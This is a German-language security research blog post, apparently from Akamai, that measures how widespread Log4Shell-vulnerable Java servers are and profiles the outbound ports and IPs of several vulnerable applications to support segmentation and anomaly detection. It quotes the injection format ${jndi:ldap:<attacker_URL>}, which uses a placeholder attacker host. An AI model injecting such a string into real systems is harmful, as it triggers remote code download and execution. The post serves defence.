Quantifizierung von Log4Shell: Eine massive Schwachstelle
Alles, was Sie protokollieren, kann und wird gegen Sie verwendet werden
Die Schwachstelle Log4Shell wird uns noch eine Weile beschäftigen. Es gibt viele Spekulationen über den Umfang und die tatsächlichen Auswirkungen dieser Sicherheitslücke: Auch wenn viele sie als „schwerwiegend“ einstufen, wissen wir nur wenig darüber, wie hoch das Risiko tatsächlich ist. Um Licht ins Dunkel zu bringen, nutzt Akamai Threat Labs seine Einblicke in zahlreiche Rechenzentren weltweit, um das tatsächliche Risiko zu bewerten, das Log4Shell für Unternehmen darstellt.
Die wichtigsten Erkenntnisse:
Zwei Drittel aller untersuchten Java-Server enthielten eine anfällige Log4j.
91 % der untersuchten Rechenzentren betreiben serverseitige Java-Anwendungen; davon sind mehr als 40 % mit internetfähigen Java-Servern ausgestattet.
Sieht man sich die ausgehende Kommunikation an, fällt auf, dass die überwiegende Mehrheit der untersuchten Java-Anwendungen über wenige Ports kommuniziert.
Durch Analyse ausgehender Kommunikationsmuster können Unternehmen auffälliges Verhalten erkennen und einen Teil des von Log4Shell ausgehenden Risikos mindern.
Weitere Analysen von Log4Shell, die auf der umfassenden Untersuchung der Online-Aktivitäten von Akamai basieren, finden Sie auf dem Blog von Akamai zu diesem Thema.
Einführung
Akamai Guardicore Segmentation wird weltweit in Hunderten von Rechenzentren eingesetzt und bietet Netzwerktransparenz und Durchsetzung auf Prozessebene. Vereinfacht gesagt: Dank der Netzwerktransparenz auf Prozessebene haben wir jede Netzwerkverbindung innerhalb des Netzwerks im Blick und wissen, welcher Prozess die Verbindung von der Quelle aus initiiert und welcher Prozess sie am Ziel empfangen hat.
Angesichts dieses großen Umfangs und der einzigartigen Informationen zu den einzelnen Prozessen können wir Netzwerkkommunikationsmuster innerhalb der Rechenzentren und Cloudnetzwerke sowie über deren Grenzen hinweg untersuchen. Mit diesen Informationen können wir Rückschlüsse ziehen über das volle Ausmaß des von Log4Shell ausgehenden Risikos auf unser digitales Leben sowie Tipps geben, was Experten für Netzwerksicherheit tun können, um es zu begrenzen.
Dieser Blogbeitrag ist in zwei Teile gegliedert. Der erste gibt Aufschluss über die Angriffsfläche von Unternehmen, d. h., wie wahrscheinlich es ist, dass ein Unternehmen anfällig für Log4Shell ist. Im zweiten Teil betrachten wir einige anfällige Anwendungen, die in Produktionsumgebungen häufig sind, näher und erläutern ihre normalen Kommunikationsmuster. Damit geben wir Verteidigern Informationen an die Hand, mithilfe derer sie diese Anwendungen richtig segmentieren und eine erfolgreiche Ausnutzung verhindern.
Wie hoch ist das von Log4Shell ausgehende Risiko?
Um herauszufinden, wie weit Java in Unternehmen verbreitet ist, haben wir Daten von über 200 verschiedenen Rechenzentren weltweit in unterschiedlichen Branchen und Größen gesammelt. In jedem Rechenzentrum identifizierten wir die Server, die mit dem Internet verbunden sind, sowie die Server, auf denen Java ausgeführt wird, mit Netzwerkverbindungen. Wir haben sowohl Java-Prozesse (java.exe, java for Linux, javaw usw.) als auch Prozesse berücksichtigt, die die virtuelle Java-Maschine in ihren eigenen Speicher laden.
Risikobewertung – die Verbreitung von Log4j in Rechenzentren
Während es viele Spekulationen über das Ausmaß und den Umfang der Schwachstelle gibt, können wir anhand der Daten aus der Untersuchung von Rechenzentren das Risiko genau bewerten, das von der Log4Shell-Schwachstelle ausgeht.
Das Team stieß in den untersuchten Umgebungen auf zahlreiche Server, die für Log4Shell-Angriffe anfällig waren. Tatsächlich fanden wir heraus, dass in diesen Umgebungen durchschnittlich zwei Drittel aller Java-Server eine anfällige Log4j enthielten. In einigen Umgebungen waren bis zu 90 % aller Java-Rechner anfällig. Diese Zahl ist viel höher als ursprünglich angenommen und lässt für die Verbreitung der Schwachstelle nichts Gutes ahnen.
In einem weiteren, kleineren Test stellte das Forschungsteam fest, dass 100 % der untersuchten Umgebungen mindestens über einen Server verfügen, der vor dem Patching für Log4Shell anfällig war. Dies zeigt, wie hoch das Risiko in diesen Umgebungen war, bevor der Patch veröffentlicht wurde. Sobald mit dem Patchen begonnen wurde, konnten wir feststellen, dass die Zahl der gefährdeten Umgebungen abnimmt. Es sollte jedoch klar sein, dass auch nur wenige anfällige Server in einer großen Umgebung eine erhebliche Angriffsfläche bieten können.
Die oben erwähnten Zahlen machen das Problem deutlich. Durch die Beliebtheit von Log4j hat sich diese Schwachstelle über Nacht außergewöhnlich schnell verbreitet. Mit dem Wissen, dass fast zwei Drittel aller Java-Server immer noch anfällig sind, müssen IT- und Sicherheitsteams alles dafür tun, um herauszufinden, wo das Dienstprogramm zum Protokollieren verwendet werden könnte, und Schutzmaßnahmen zu planen.
Internetfähige Java-Server stellen zusätzliches Risiko dar
Server sind umso anfälliger, je mehr darauf zugegriffen werden kann. Während die Sicherheitslücke an sich schon Grund zur Sorge ist, stellt ein internetfähiger Server ein zusätzliches Risiko dar, da er als Angriffsvektor zum Eindringen in das Netzwerk genutzt werden könnte. Akamai hat im Rahmen seiner Forschung zu den Trends des Log4j-Internettraffics festgestellt, dass Angreifer diese Schwachstelle auf jede erdenkliche Art und Weise ausnutzen, und zwar mit erstaunlichem Durchhaltevermögen.
Unsere Untersuchungen haben ergeben, dass in 91 % der Rechenzentren serverseitige Java-Anwendungen ausgeführt werden. Mehr als 40 % davon sind mit internetfähigen Java-Servern ausgestattet. Dies führt zu einem zusätzlichen Maß an Komplexität. Internetfähige Server können viel leichter ausgenutzt werden, da sie für die Außenwelt leicht zugänglich sind. Im nächsten Abschnitt dieses Blogs geht es um die ausgehende Kommunikation von Java-Anwendungen. Wir geben einige Empfehlungen für die Überwachung und Absicherung von internetfähigen Servern, auf denen Java-Anwendungen ausgeführt werden.
Beachten Sie jedoch, dass Rechenzentren, in denen alle Java-Server intern (d. h. nicht mit dem Internet verbunden) sind, nicht automatisch sicher sind. Obwohl Log4Shell hauptsächlich als Instrument zum Angreifen von Netzwerken wahrgenommen wurde, haben einige Fälle gezeigt, dass Java-Anwendungen, die auf internen Servern laufen, Protokolle von internetfähigen Servern erhielten und schließlich kompromittiert wurden. Log4Shell kann daher sowohl für die laterale Netzwerkbewegung als auch für das erste Eindringen verwendet werden.
Datengestützte Abwehr
Log4Shell ist besonders leistungsstark, wenn es für den Download einer Payload von einem vom Angreifer gesteuerten Computer aus der Ferne verwendet wird, die dann auf dem Gerät des Opfers ausgeführt wird. Dazu speist der Angreifer eine Protokollnachricht im Format ${jndi:ldap:<attacker_URL>} ein, die schließlich eine Verbindung vom anfälligen Anwendungsprozess zur eingebetteten URL auslöst. Das Java-Klassenobjekt aus der Ferne wird dann heruntergeladen und im Speicher ausgeführt.
Aus diesem Grund hat Akamai Threat Labs damit begonnen, die Kommunikationsmuster von Java-Servern und insbesondere von mehreren Anwendungen, die für Log4Shell anfällig sind, aufzuzeichnen. Mit dem Wissen, wie Java-Server und -Prozesse regelmäßig kommunizieren, sind Sicherheits- und IT-Experten umfassend informiert, um Anomalien in ihren Umgebungen zu erkennen und abzuwehren und so die Ausnutzung von Log4Shell stoppen und den normalen Geschäftsbetrieb aufrechterhalten zu können.
Beobachtung der ausgehenden Kommunikation: Wie werden Java-Server erreicht?
Um zu verstehen, wie Java-Server mit dem Internet kommunizieren, haben wir zunächst die Anzahl der Ziel-TCP-Ports ermittelt, die von Java-Anwendungen für die Verbindung mit dem Internet verwendet werden. Nach unserer Analyse kommuniziert die große Mehrheit der internetfähigen Server über sehr wenige Ports (weniger als 10).
Dies unterstreicht, wie wichtig und sicher es ist, die zulässige ausgehende Kommunikation zwischen den verschiedenen Servern und Prozessen in Ihrem Rechenzentrum zu begrenzen. Die Identifizierung der erstmaligen Kommunikation zu einem Zielport durch einen Prozess, der bisher über einen bestimmten Satz von Ports kommuniziert hat, könnte nämlich zur Aufdeckung der Angriffsversuche nützlich sein.
Wir werden diese Untersuchung für mehrere gebräuchliche Java-Anwendungen noch detaillierter fortsetzen.
Anwendungsspezifische Kommunikationsmuster
Mit der einzigartigen Transparenz von Akamai Guardicore Segmentation auf Prozessebene ist Akamai Threat Labs in der Lage, detaillierte Informationen über das Verhalten bestimmter Anwendungen zu erfassen, die für Log4Shell anfällig sind. Mit diesen Daten können das normale Verhalten dieser Prozesse untersucht, Anomalien erkannt und entsprechend wirksame Segmentierungsregeln erstellt werden.
Das Team untersuchte die Kommunikationsmuster von vier beliebten anfälligen Anwendungen (in Klammern wird der Prozess angegeben, der den Netzwerktraffic auslöst):
Elasticsearch: eine sehr beliebte Volltextsuchmaschine mit einer Vielzahl von Anwendungsfällen (%elasticsearch%/bin/java)
Logstash: serverseitige Datenverarbeitungspipeline für die Einspeisung und Umwandlung von Daten (/usr/share/logstash/jdk/bin/java)
VMware vCenter: eine Verwaltungsplattform für virtuelle Maschinen und ESXi-Hosts von VMware (%\VMware\vCenter Server\%\bin\java.exe)
Agent Okta RADIUS: ein Agent, der die RADIUS-Authentifizierung an die Okta-Identitätsmanagementlösung delegiert (okta-radius.exe)
Folgende Fragen wollten wir beantworten:
Mit welchen Zielports werden diese Anwendungen normalerweise verbunden?
Mit welchen Ports werden diese Anwendungen verbunden, wenn die Ziele im Internet sind?
Bei der Betrachtung aggregierter Daten aus verschiedenen Produktionsumgebungen konnten wir einige einzigartige Erkenntnisse gewinnen. Wir haben festgestellt, dass Anwendungen nur sehr wenige Zielports im Internet haben:
Logstash |
Elasticsearch |
vCenter Server |
Agent Okta RADIUS |
|
Ausgehende Ports |
443 53 9200 9092 80 |
9300 443 53 9301 80 |
Große Anzahl von Ports |
80 443 |
Ausgehende Ports |
443 |
443 80 |
9080 902 443 80 |
80 443 |
Die Überprüfung der Ports reicht jedoch nicht immer aus, da Angreifer ihre Spuren leicht verwischen können, indem sie die für das Herunterladen der Payload verwendeten Ports in die oben genannten ändern.
Um aus diesen Daten nützlichere Schlüsse ziehen zu können, mussten wir die IP-Adressen der Ziele untersuchen, um zu verstehen, was eine normale Aktivität über diese Ports darstellt. Angriffsspuren zu verwischen, wird mit IP-Adressen viel schwieriger: Wenn ein bestimmter Server mit nur einer IP-Adresse im Internet kommuniziert, müsste ein Angreifer die Kontrolle über den Server hinter dieser IP-Adresse erlangen, um von dort aus seine bösartigen Payloads zu versenden. Daher kann die Untersuchung von Ziel-IPs für die Abwehr sehr nützlich sein.
Die Analyse ergibt einen Durchschnitt der eindeutigen IP-Adressen, mit denen sich jede Anwendung für jeden Port verbindet. Bei einer niedrigen, konstanten Anzahl von Adressen sind weitere Abwehr- und/oder Erkennungsoptionen möglich. Wenn nämlich eine Anwendung mit nur sehr wenigen IP-Adressen „spricht“, können alle anderen Verbindungen als verdächtig angesehen werden.
Wir haben uns die Anzahl der eindeutigen Ziel-IP-Adressen für die Ports 443 und 80 angesehen und festgestellt, dass sie in fast allen Fällen niedrig und im Laufe der Zeit stabil war:
Logstash |
Elasticsearch |
vCenter Server |
Agent Okta RADIUS |
||
Durchschnittliche Internetadressen pro Port |
TCP-Port 443 |
4,0 |
7,2 |
7,0 |
3,75 |
TCP-Port 80 |
- |
2,0 |
1,3 |
- |
|
Die Erkenntnis, dass viele anfällige Anwendungen ziemlich begrenzte Verbindungsmuster aufweisen (sowohl in Bezug auf Zielports als auch auf Ziel-IPs), könnte sowohl zur Verkleinerung der Angriffsfläche als auch zur Angriffserkennung genutzt werden.
Fazit
Um sich am besten vor der Log4Shell-Schwachstelle zu schützen, wird die Verwendung einer gepatchten Version der Bibliothek selbst empfohlen. Bekanntlich ist das Patchen in Produktionsumgebungen jedoch nicht immer durchführbar (oder schnell genug).
Unseren Erkenntnissen über das Kommunikationsverhalten verschiedener anfälliger Anwendungen zufolge ist für die Verkleinerung der Angriffsfläche und die Erkennung des Log4Shell-Exploits (sowie anderer Angriffe) ein anderer Ansatz notwendig.
Wir empfehlen Netzwerkadministratoren, die Kommunikationsmuster anfälliger Anwendungen zu untersuchen und ihre ausgehenden Verbindungen zu erfassen – im Hinblick sowohl auf die Ziel-IP-Adressen als auch die Zielports. Mit diesem Wissen können Verteidiger diese Verbindungen auf das absolute Minimum beschränken, indem sie den Traffic nur über bekannte Standardkommunikationsports zulassen.
In Fällen, in denen die Blockierung von Verbindungen nicht möglich ist, empfehlen wir die Überwachung von Anomalien bei Verbindungen, die von internetfähigen Servern ausgehen, sei es durch neue Ports oder IP-Adressen. Nutzer von Akamai Guardicore Segmentation können Informationen auf Prozessebene nutzen, um mehr Einblick in die verschiedenen Verbindungen zu erhalten, die jeder Server durchführt. Diese Daten werden von unserem Threat-Hunting-Team für Hunt-Kunden proaktiv untersucht.
Weitere Informationen zur Abwehr von Log4Shell-Angriffen finden Sie in unserem Blogbeitrag: Abwehr von Log4j-Exploits mit Akamai Guardicore Segmentation.
